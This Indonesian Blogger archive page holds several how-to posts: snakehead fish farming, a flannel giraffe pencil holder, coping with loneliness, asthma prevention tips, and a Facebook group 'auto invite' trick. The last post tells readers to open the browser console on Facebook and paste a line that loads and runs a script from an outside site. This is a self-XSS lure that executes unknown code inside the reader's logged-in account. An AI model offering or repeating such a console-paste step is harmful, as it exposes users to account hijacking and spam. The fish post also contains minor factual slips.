Featured Post Today
print this page
Latest Post
Tampilkan postingan dengan label cara. Tampilkan semua postingan
Tampilkan postingan dengan label cara. Tampilkan semua postingan

Cara Ternak Ikan Gabus

Ikan gabus merupakan ikan air tawar liar dan predator benih yang rakus dan sangat ditakuti pembudidaya ikan. Ikan ini merupakan ikan buas (carnivore yang bersifat predator). Di alam, ikan gabus tidak hanya memangsa benih ikan tetapi juga ikan dewasa dan serangga air lainnya termasuk kodok. Bahkan di Kalimantan pernah dilaporkan gabus memangsa anak bebek. Ini masuk akal karena di sungai dan di rawa-rawa Kalimantan terdapat jenis gabus berukuran besar (gabus toman/aruan dan sejenisnya).

Ikan gabus dikenal dengan banyak nama. Ada yang menyebutnya sebagai aruan, haruan (Melayu dan Banjar), kocolan (Betawi); bayong, bogo, licingan, kutuk (Jawa); dan lain-lain. Dalam bahasa Inggris, belut juga disebut dengan berbagai nama, seperti common snakehead, snake-head murrel, chevron snakehead, striped snakehead juga aruan. Name ilmiahnya adalah Channa striata (Bloch, 1793) dan ada yang menyebutnya Ophiocephalus striatus.

Kelas: Pisces
Subkelas: Actinopterygii
Ordo: Perciformes
Famili: Channidaeae
Genus: Channa
Species: Channa sriata/ Ophiocephalus striatus
Ada beberapa jenis gabus. Channa striata merupakan jenis ikan gabus yang banyak ditemui dan memiliki ukuran tubuh relatif kecil. Jenis lain adalah gabus toman Channa micropeltes dan Channa pleuropthalmus. Gabus toman merupakan jenis gabus yang berukuran tubuh besar, mencapai panjang 1 meter dengan berat 5 kg.

Ikan gabus memiliki kepala berukuran besar dan agak gepeng mirip kepala ular (sehingga dinamai snakehead). Terdapat sisik-sisik besar di atas kepala. Tubuh berbentuk bulat gilig memanjang, seperti peluru kendali atau torpedo. Sirip punggung memanjang dan sirip ekor membulat di ujungnya. Sisi atas tubuh dari kepala hingga ke ekor berwarna gelap, hitam kecokelatan atau kehijauan. Sisi bawah tubuh putih. Sisi samping bercoret-coret tebal (striata).Warna ini sering kali menyerupai lingkungan sekitarnya. Mulut besar, dengan gigi-gigi besar dan tajam.

Ikan gabus biasa ditemukan di perairan umum sebagai ikan liar. Banyak ditangkap di danau, rawa, sungai, dan saluran-saluran air hingga ke sawah-sawah. Di Indonesia, ikan gabus awalnya hanya terdapat di barat garis Wallacea (Sumatera, Jawa, dan Kalimantan). Namun dalam perjalanan waktu, ikan gabus diintroduksi (dimasukkan) ke wilayah Indonesia Timur.

Pada beberapa daerah yang dilalui aliran sungai besar seperti di Sumatera dan Kalimantan, ikan gabus seringkali terbawa banjir ke parit-parit di sekitar rumah, atau memasuki kolam-kolam pemeliharaan ikan dan menjadi hama yang memangsa ikan-ikan peliharaan. Jika sawah, kolam atau parit mengering, ikan ini akan berupaya pindah ke tempat lain, atau bila terpaksa, akan mengubur diri di dalam lumpur hingga tempat itu kembali berair. Oleh sebab itu ikan ini acap kali ditemui "berjalan" di daratan—khususnya di malam hari di musim kemarau—mencari tempat lain yang masih berair. Ikan gabus bisa bertahan hidup tanpa air karena bisa bernapas menyerap oksigen bebas menggunakan alat bantu pernapasan berupa "labirin".

Pengendalian
Biasanya ikan ini menyambar mangsa di permukaan sehingga jika masuk ke kolam ikan yang lain kehadirannya dapat segera diketahui. lkan gabus yang akan menyambar mangsa biasanya berdiam diri di sekitar tanaman air (sehingga tidak terlihat oleh mangsanya) dan secara tiba-tiba meluncur cepat ke arah mangsanya dan langsung menelannya. Mulutnya yang besar memungkinkan untuk itu.

Pada musim kawin, ikan gabus jantan dan betina bekerjasama menyiapkan sarang di antara tumbuhan di tepi air. Anak-anak ikan berwarna jingga merah bergaris hitam, berenang dalam kelompok yang bergerak bersama-sama kian kemari untuk mencari makanan. Kelompok muda ini dijaga oleh induknya. Ini merupakan saat yang paling baik untuk menangkap/mengusir gabus dari kolam.

Untuk mencegah masuknya gabus ke kolam, pada saat pengolahan, dasar kolam harus benar-benar kering sampai retak-retak sehingga tidak memungkinkan gabus bertahan hidup. Biarkan dasar kolam dijemur sinar matahari selama beberapa hari. Pada bagian saluran pemasukan, dipasang saringan dari ijuk yang sangat rapat sehingga benih dan telur gabus tidak ikut masuk ke kolam bersama aliran air.

Jika di dalam kolam sudah terdapat ikan gabus, harus segera ditangkap. Biasanya populasinya tidak begitu banyak. Gabus dapat dipancing dengan mengggunakan umpan berupa ikan kecil, anak kodok atau eating. Cara pemancingannya cukup unik, yaitu dengan menggerak-gerakkan umpan di permukaan air. Umpan yang bergerak biasanya disambar gabus karena disangka mangsanya. Gabus yang tertangkap dapat dikonsumsi karena memang rasanya enak dan menjadi makanan favorit di beberapa daerah baik dalam bentuk segar maupun kering/asin.

Ikan inipun mudah sekali didapat, bisa dibeli di pasar, bahkan di warung-warung sekitar tempat tinggal. Namun apakah mereka tahu asal-usul ikan tersebut. Tentu saja tidak semua orang tahu, termasuk cara budidayanya. Inilah yang akan dikupas dalam artikel ini.

Soal asal usul.
Ternyata ikan gabus adalah ikan asli Indonesia. Hidup di perairan sekitar kita, di rawa, di waduk dan di sungai-sungai yang airnya tenang. Namun ikan gabus yang bisa dibeli di pasar-pasar dan warung-warung, kemungkinan besar dari Kalimantan. Karena pulau itulah yang kini menjadi pemasok terbesar untuk pasar-pasar seluruh Indonesia. Namun sayang, populasi ikan gabus di alam sudah mulai berkurang, sehingga budiadaya ikan ini perlu dikembangkan.

Lalu soal cara budidaya ikan gabus. Ternyata ikan inipun tidak susah. Tidak perlu dengan pemijahan buatan, cukup dengan pemijahan alami. Tentu saja hal ini disebabkan karena ikan gabus sudah akrab dengan perairan kita. Salah satu instansi perikanan yang sudah berhasil adalah Balai Budidaya Air Tawar Mandiangin, Kalimantan Selatan. Artikel inipun diambil dari salah satu leafletnya.

Namun sebelum mengupas tentang cara budidayanya, alangkah lebih baiknya kita tahu dulu tentang biologinya, terutama habitat, kebiasaan hidup, kebiasaan makan dan sistematikanya. Di Kalimantan, ikan gabus banyak ditemukan di rawa-rawa daerah pedalaman, hidup di dasar perairan yang dangkal, bersifat carnivor atau pemakan daging, terutama ikan-ikan kecil yang mendekatinya. Ikan gabus bersifat musiman, memijah pada musim hujan dari Bulan Oktober hingga Desember.

Secara sistematika, seorang ahli perikanan, Kottelat (1993) memasukan kedalam : Kelas : Pisces; Ordo : Labyrinthycy; Famili : Chanidae; Genus : Channa; Spesies : Channa striata; sinonim dengan Ophiochephalus striatus. Ikan gabus memiliki nama lain, yaitu gabus isilah Indonesia, Haruan merupakan nama daerah Kalimantan. Sedangkan dalam Bahasa Inggeri disebut Snaka Head Fish.

BEDA JANTAN DAN BETINA IKAN GABUS
Jantan dan betina ikan gabus bisa dibedakan dengan mudah. Caranya dengan melihat tanda-tanda pada tubuh. Jantan ditandai dengan kepala lonjong, warna tubuh lebih gelap, lubang kelamin memerah dan apabila diurut keluar cairan putih bening. Betina ditandai dengan kepala membulat, warna tubuh lebih terang, perut membesar dan lembek, bila diurut keluar telur. Induk jantan dan harus sudah mencapai 1 kg.

PEMIJAHAN IKAN GABUS
Pemijahan dilakukan dalam bak beton atau fibreglass. Caranya, siapkan sebuah bak beton ukuran panjang 5 m, lebar 3 m dan tinggi 1 m; keringkan selama 3 – 4 hari; masukan air setinggi 50 cm dan biarkan mengalir selama pemijahan; sebagai perangsang pemijahan, masukan eceng gondok hingga menutupi sebagian permukaan bak; masukan masukan 30 ekor induk betina; masukan pula 30 ekor induk jantan; biarkan memijah; ambil telur dengan sekupnet halus; telur siap untuk ditetaskan.

Untuk mengetahui terjadinya pemijahan dilakukan pengontrolan setiap hari. Telur bersifat mengapung di permukaan air. Satu ekor induk betina bisa menghasilkan telur sebanyak 10.000 – 11.000 butir.

PENETASAN TELUR IKAN GABUS
Penetasan telur dilakukan di akuarium. Caranya : siapkan sebuah akuarium ukuran panjang 60 cm, lebar 40 cm dan tinggi 40 cm; keringkan selama 2 hari; isi air bersih setinggi 40 cm; pasang dua buah titik aerasi dan hidupkan selama penetasan; pasang pula pemanas air hingga bersuhu 28 O C; masukan telur dengan kepadatan 4 – 6 butir/cm2; biarkan menetas. Telur akan menetas dalam waktu 24 jam. Sampai dua hari, larva tidak perlu diberi pakan, karena masih menyimpan makanan cadangan.

PEMELIHARAAN LARVA IKAN GABUS
Pemeliharaan larva dilakukan setelah 2 hari menetas hingga berumur 15 hari, dalam akuarium yang sama dengan kepadatan 5 ekor/liter. Kelebihan larva bisa dipelihara dalam akuarium lain. Pada umur 2 hari, larva diberi pakan berupa naupli artemia dengan frekwensi 3 kali sehari. Dari umur 5 hari, larva diberi pakan tambahan berupa daphnia 3 kali sehari, secukupnya. Untuk menjaga kualitas air, dilakukan penyiponan, dengan membuang kotoran dan sisa pakan dan mengganti dengan air baru sebanyak 50 persen. Penyiponan dilakukan 3 hari sekali, tergantung kualitas air.

PENDEDERAN IKAN GABUS
Pendederan I ikan gabus dilakukan di kolam tanah. Caranya : siapkan kolam ukuran 200 m2; keringkan selama 4 – 5 hari; perbaiki seluruh bagiannya; buatkan kemalir dengan lebar 40 cm dan tinggi 10 cm; ratakan tanah dasarnya; tebarkan 5 - 7 karung kotoran ayam atau puyuh; isi air setinggi 40 cm dan rendam selama 5 hari (air tidak dialirkan); tebar 4.000 ekor larva pada pagi hari; setelah 2 hari, beri 1 – 2 kg tepung pelet atau pelet yang telah direndam setiap hari; panen benih dilakukan setelah berumur 3 minggu.

Sumber : http://budidayanews.blogspot.com/
0 komentar

Cara membuat kantong penyimpanan alat alat tulis

Cara membuat kantong penyimpanan alat-alat tulis - pada ulasan kali ini yaitu mengulas tentang Cara membuat kantong penyimpanan alat-alat tulis yang bahannya berasal dari kain flanel, mungkin tujuan dari pembuat kantong tempat penyimpanan alat-alat tulis seperti bolpoint, penghapu, pensil,
penggaris dan yang lainnya, yang tentunya dapat dimuat oleh kantong ini.sebuah seni gambar dari bentuk jerapah merupakan hiasan atau ciri khas dari kantong ini, selain bentuk jerapah bisa bentuk yang lainnya, seperti bentuk kerbau, monyet dsb. baiklah kita langsung saja kita memulai cara pembuatannya.

Bahan-bahan:

1. Potongan pipa peralon (bagian bawahnya tertutup)
2. Kain flanel yang diberi warna sesuai selera kamu (kalau tidak yang sudah bermotif jerapah)
3. Mata mainan (2 buah)
4. Lem tembak
5. Spidol
6. Gunting

Langkah-langkah membuat tempat pensil kain flanel:

1. Bungkus pipa dengan flanel bermotif jerapah memakai lem tembak untuk merekatkannya. Jika tidak ada motif jerapah kalian bisa membuat bentuk lingkaran sedang (jumlah banyak) di kain flanel lalu digunting dan ditempel ke kain flanel krem sehingga membentuk motif jerapah

2. Gambar pola di flanel berbentuk kepala jerapah , bentuk juga telinga serta rambutnya di tempat terpisah, lalu gunting sesuai pola

3. Lipat bagian kepala menjadi dua dan tekan supaya terlihat lipatannya, buka kembali lipatan.

4. Di garis lipatan itu tempelkan telinga dan rambut, bentuknya harus berdiri lurus ke atas. Lem juga mata mainan ke kepala jerapah, dan biarkan kering

5. Buat dua lubang hidung di kepala jerapah dengan spidol warna hitam

6. Setelah kering, lem sisi kepala ke bagian atas tabung pipa pralon dan lem ujung lainnya ke belakang. Biarkan kering dan tempat pensil jerapah flanel pun jadi

Selain dijadikan tempat pensil, bulpen, dan alat tulis lainnya. Jerapah bentuk tabung ini juga bisa dipakai untuk menyimpan uang receh (celengan), ataupun dipakai untuk bermain anak-anak. Seru bukan? Dari satu bahan yang murah dan mudah didapat bisa menghasilkan kerajinan tangan yang multifungsi dan bisa dipakai mulai dari tua, muda, pria, dan wanita.

Masih bingung cara membuatnya? Ini ada tutorial gambarnya.

1. Bungkus pipa dengan kain flanel



2. Potong pola kepala, telinga, dan rambut jerapah. Lalu lipat kepala, di antara 2 bagian tersebut ditempel telinga dan rambut


3. Tempelkan mata memakai lem tembak


4. Beri lubang hidung jerapah memakai spidol hitam atau pen hitam


5. Lem sisi kepala ke bagian atas tabung pipa pralon dan lem ujung lainnya ke belakang


6. Jadilah kreasi tempat pensil jerapah dari kain flanel

Demikianlah ulasan tentang Cara membuat kantong penyimpanan alat-alat tulis semoga bisa bermanfaat dan menambah karya seni yang lebih baik lagi.
0 komentar

Cara Menghibur Diri Sendiri Walau Tanpa Kekasih

Ketika kita merasa sendirian tanpa orang yang kita sayangi maka tak ada hal yang kita dengar, yang kita rasakan adalah kesendirian, seakan dunia ini seperti mati. Seakan warna dunia ini menghilang dan yang ada hanya sebuah lamunan. Kegelisahan dan kesedihan hingga pemikiran yang berat kita munculkan ketika dalam situasi ini. Maka dari itu, bagaimana bisa keluar dari kenyataan ini sehingga beban ini hilang ? Jawabnya,Kita mampu menghibur diri sendiri dan move on apa yang telah terjadi. Berikut beberapa hal yang dapat sobat lakukan untuk menghibur diri walaupun tak ditemani seorang kekasih.

Curhat kepada Tuhan


Perlu sekali Anda lakukan, karena yang paling merasa kesunyian dalam diri Anda adalah hati Anda. Maka dari itu awalilah dengan curhat kepada Tuhan tentang apa yang telah Anda alami. Jika Anda sudah curhat kepada Tuhan, niscaya Tuhan akan memberi pengarahan yang lebih baik. Selain itu Anda akan menjadi lebih tenang ketika selalu mengingat Tuhan. Hingga Anda akan mampu beranggapan bahwa Anda tidak akan pernah sendiri. Karena Tuhan akan selalu hadir di hati Anda.

Refreshing


Setelah Anda curhat kepada Tuhan saatnya Anda mulai refreshing, Anda bisa menghapus beban pikiran Anda. Anda bisa menenangkan hati, menikmati indahnya alam ini dan selalu bersyukur tentang apa yang Anda punyai. Dan selalu tenangkan pikiran hingga selalu optimistis.

Melakukan hal yang Menyenangkan


Walau tanpa seorang kekasih, pasti Anda juga memiliki hal-hal yang Anda sukai seperti mendengarkan musik, menonton film, menonton bola, makan, atau beraktivitas yang menyenangkan lainya. Itu akan mampu menyongsong beban kesendirian Anda.

Menyalurkan Hobi dan bakat


Mirip dengan tips sebelumnya, tapi bedanya jika tips sebelumnya adalah hal yang menyenangkan. Tetapi untuk tips ini yaitu menyalurkan hobi atau bakat Anda. Dari pada Anda menyendiri lalu memikirkan kenapa Anda sendiri, kenapa hidup tanpa ditemani kekasih, lebih baik salurkan hobi Anda. Siapa tahu jika Anda rajin menyalurkan hobi dan bakat suatu saat Anda akan memperoleh jalan yang terang. Misalkan anda hobi menulis, jika anda menyalurkan hobi anda secara rutin. Siapa tahu nantinya Anda bisa menjadi penulis yang terkenal.

Jalin komunikasi dengan keluarga dan kerabat


Ingat, bahwa Anda masih punya keluarga, masih punya teman, masih punya sahabat yang setia bersama Anda. Bersyukurlah karena menemukan orang-orang itu di hidup Anda. Dan berkumpulah serta jalin komunikasi dengan mereka. Dengan begini maka Anda akan merasa tak pernah kesepian walau tanpa kekasih. Juga membuat Anda beranggapan bahwa tidak harus seorang kekasih saja yang harusnya dicintai, tetapi keluarga, teman, sahabat dan orang-orang yang dekat dengan Anda adalah orang yang patutnya Anda cintai terlebih dahulu.

Jika sobat semuanya merasa kesepian, mulai sekarang saatnya move on dari itu. Karena sesungguhnya Anda mampu berjalan dalam kesendirian tanpa kekasih. Serta percayalah bahwa suatu saat Anda akan menemukan kekasih yang terbaik. Meskipun hanya saja sekarang masih belum dapat kita temui di waktu ini.
0 komentar

Cara Efektif Mengatasi Asma



Penyakit Asma adalah salah satu penyakit yang beresiko tinggi, dan bila penderita penyakir asma tidak bisa mengontrol penyakit ini dengan baik akan beresiko kehilangan jiwa.sebelum kita terkena dampak dari penyakit ini ada baik nya untuk kita Mencegah Penyakit Asma ini. berikut cara Efektif Mengatasi Asma:
Cara Mencegah Mencegah Penyakit Asma
1. Gunakan inhaler
Inhalasi kortikosteroid adalah cara yang paling efektif untuk mengontrol gejala dan mencegah serangan. Tetapi banyak orang yang menggunakannya hanya ketika gejala timbul.
Peneliti dari Henry Ford Hospital menemukan bahwa, hampir 25 persen serangan asma dapat dicegah pada pasien dengan asma berat jika mereka mengambil obat mereka pada waktu yang ditentukan setiap hari atau setidaknya 75 persen dari waktu.
Hasil penelitian menunjukkan bahwa, orang dengan asma ringan hingga sedang mungkin tidak perlu menggunakan inhaler setiap hari.
Jika telah bebas serangan asma selama beberapa bulan, maka berkonsultasilah dengan dokter mengenai pengurangan dosis atau frekensi obat secara perlahan-lahan. Tetapi jika terjadi tanda pertama dari ketidaknyamanan, seperti pengetatan dada, peningkatan batuk atau sesak napas ringan, maka sebaiknya langsung kembali periksa ke dokter.


2. Proaktif mencegah gejala dengan obat
Jika mengetahui bahwa rentan terhadap serangan asma selama waktu tertentu, seperti ketika musim demam atau dingin. Maka mulailah mengonsumsi obat 3 atau 4 minggu sebelum musim dimulai daripada menunggu sampai merasakan gejala pertama. Lebih mudah untuk mencegah serangan daripada mengobatinya.


3. Tes alergi
Hasil penelitian baru menemukan bahwa, alergi memicu lebih dari 50 persen kasus asma. Tetapi banyak orang tidak menyadari bahwa mereka memiliki alergi, terutama terhadap alergen dalam ruangan atau makanan.
Satu hasil studi menemukan bahwa, hampir 16 persen orang yang pergi ke UGD karena serangan asma memiliki peningkatan kadar antibodi IgE.
Peningkatan kadar antibodi IgE mengindikasikan kemungkinan alergi makanan. Berkonsultasilah dengan dokter mengenai tes darah alergi atau melakukan tes alergi kulit.
dianjurkan orang dengan asma alergi sebaiknya di bawah kontrol untuk mengurangi serangan asma.


4. Menghilangkan alergen di kamar tidur
Semakin dapat menghindari paparan semua alergen, seperti debu, bulu, dan iritasi dalam ruangan lainnya. Maka semakin besar kemungkinan untuk mengurangi frekuensi dan keparahan serangan dan kebutuhan obat asma.
Mulailah dari kamar tidur. Singkirkan bantal dan selimut dari bulu, serta buku-buku lama, surat kabar dan merapikan kamar.
Jangan menggunakan humidifier, dan pastikan tidak ada jamur yang tumbuh di kamar tidur. Dibutuhkan waktu lama untuk mengurangi peradangan pada saluran udara, sehingga mungkin tidak melihat peningkatan yang signifikan selama berbulan-bulan.


5. Di dalam rumah dapat tersembunyi pemicu alergi
Rumah mungkin memiliki beberapa pemicu asma tersembunyi, seperti asap dan bau dari perapian, lilin, dupa dan bahkan pengharum ruangan.
Dari semua penderita asma, iritasi pernapasan seperti asap, terutama asap rokok, dapat berkontribusi untuk peradangan saluran napas.


6. Mendapatkan suntikan alergi
Setelah suntikan alergi biasa, yang dikenal sebagai immunotherapy dapat membangun toleransi dan mengurangi reaksi terhadap alergen. Sebuah meta analisis oleh Cochrane Collaboration menemukan bahwa, imunoterapi secara signifikan mengurangi gejala asma dan menggunakan obat asma.


7. Perhatikan berat badan
Hasil studi menunjukkan hubungan antara obesitas dan serangan asma lebih sering dan parah dan penggunaan obat yang lebih besar. Risiko asma meningkat bersama dengan indeks massa tubuh.


8. Dapatkan lebih banyak vitamin D
Kekurangan vitamin D berhubungan dengan fungsi paru-paru yang lebih buruk, alergi lebih buruk, dan penggunaan obat asma yang lebih banyak. Selain itu, studi yang dipublikasikan dalam Journal of Allergy and Clinical Immunology menemukan bahwa, vitamin D meningkatkan efektivitas inhaler kortikosteroid.
Tidak diketahui apakah vitamin tersebut memiliki dampak langsung pada terapi kortikosteroid atau dengan mengurangi gejala, akan membuat lebih mudah untuk mengobati asma. Data menunjukkan bahwa tiga perempat dari semua orang dewasa mungkin kekurangan vitamin D.


9. Menghinadari Acetaminophen
Mengonsumsi obat penghilang nyeri yang mengandung acetaminophen dapat meningkatkan risiko mengalami serangan asma. Hasil studi menemukan bahwa, penggunaan acetaminophen mingguan dikaitkan dengan hampir tiga kali lipat peningkatan risiko asma.
Ada juga hubungan antara kenaikan penggunaan asetaminofen dari waktu ke waktu dan peningkatan tingkat asma. Acetaminophen tampaknya menyebabkan penurunan molekul yang disebut glutathione yang membantu mengurangi peradangan.


10. Lebih memperhatikan olahraga
Jika tidak mengontrol asma, maka berada pada risiko mengalami serangan saat berolahraga. Pernapasan yang cepat, dan mungkin udara dingin, dapat menyebabkan kejang pada saluran napas.
Gunakan inhaler sebelum berolahraga. Latihan dengan intensitas rendah seperti pelatihan kekuatan dan yoga mungkin lebih mudah pada paru-paru daripada lari jarak jauh atau sepak bola.
Hal yang sama berlaku untuk olahraga jangka pendek dengan intensitas tinggi. Hindari olahraga ketika sedang demam, dan berolahraga di ruangan latihan selama musim dingin.


11. Mendapatkan vaksin flu
Virus flu dapat tersebar di saluran udara dan memicu serangan asma. Untuk mengurangi risiko terkena sakit, mendapatkan vaksinasi flu tahunan dan cucilah tangan denagn rutin.


12. Melakukan yoga secara rutin
Beberapa studi telah menemukan bahwa, yoga membantu penderita asma dengan meningkatkan fungsi paru-paru dan saluran napas dan mengurangi hyperresponsivity jumlah serangan. Hal ini juga dapat mengurangi kebutuhan obat dan mengurangi latihan yang mmepengaruhi konstriksi bronkus.


13. Rencana tertulis perawatan
Setiap orang dengan asma harus memiliki asma rencana tertulis pengelolaan diri. Tetapi hasil studi menunjukkan bahwa, hanya 34 persen penderita asma yang memiliki rencana tertulis pengelolaan diri.
Rencana termasuk untuk menghindari pemicu, bagaimana mengambil obat dengan benar, kesadaran terhadap gejala dan apa yang harus dilakukan ketika gejala memburuk.
Semoga tips cara mencegah penyakit asma dapat berguna bagi anda, baca juga artikel-artikel Berita Terbaru yg lainnya. Semoga bermanfaat.
0 komentar

Cara Menambahkan Semua Teman Ke Grup Facebook Auto Invite

Cara Menambahkan Semua Teman Ke Grup Facebook | Auto Invite
 
Kini bloggers Blog bakalan ngeshare tentang Cara Menambahkan Semua Teman Ke Grup Facebook Kita Dengan CepatJika anda sedang ingin menambahkan banyak teman facebook anda ke grup anda, pasti anda ingin cepat kan? masa kalau nambahnya satu persatu nanti malah kelamaan.. maka dari itu saya share Cara Cepat Menambahkan Teman Ke Grup Facebook. Meskipun cara ini sudah jadul, tapi kan tidak ada salahnya untuk mencoba, bukan?



Cara Cepat Menambahkan Teman Ke Grup Facebook | Auto Invite :

1. Buka Facebook Anda
2. Masuk ke grup yang ingin ditambahkan teman.
3. Klik Ctrl + Shift + K 
4. Masukkan kode berikut ini dikotak kecil dibawah.

document.body.appendChild(document.createElement(script)).src=http://yourjavascript.com/34253702911/auto-invite-grup-facebook.js;
Auto Invite Grup Facebook

5. Lalu tekan Enter.
     Note: kalau mau ngilangin kotak diatas bisa tekan CTRL+SHIFT+K lagi, maka kotak akan hilang.
6. Kalau tidak percaya bisa dicoba dulu disini
7. Tunggulah hingga proses selesai.

Auto Invite Grup Facebook

8. Bila sudah selesai, nanti ada tulisan Close... yaudah klik tuh

Auto Invite Grup Facebook

9. Refresh atau Reload ulang halaman grup, dan lihat perubahannya..!! semua teman anda langsung ke add semuanya.. WOW banget kan?
Auto Invite Grup Facebook
10. Selesai deh.
Cukup mudah bukan?
Demikian  tutor tentang Cara Menambahkan Semua Teman Ke Grup Facebook | Auto invite.
Untuk sobat yang mau melihat teman yang memutuskan pertemanan facebook bisa masuk kesini Cara Mengetahui Teman Facebook Yang Memutuskan Pertemanan.
#Semoga Berhasil.
See You Next Post..




0 komentar
 
Support : Creating Website | Johny Template | Mas Template
Copyright © 2011. Catatan coretan - All Rights Reserved
Template Created by Creating Website Published by Mas Template
Proudly powered by Blogger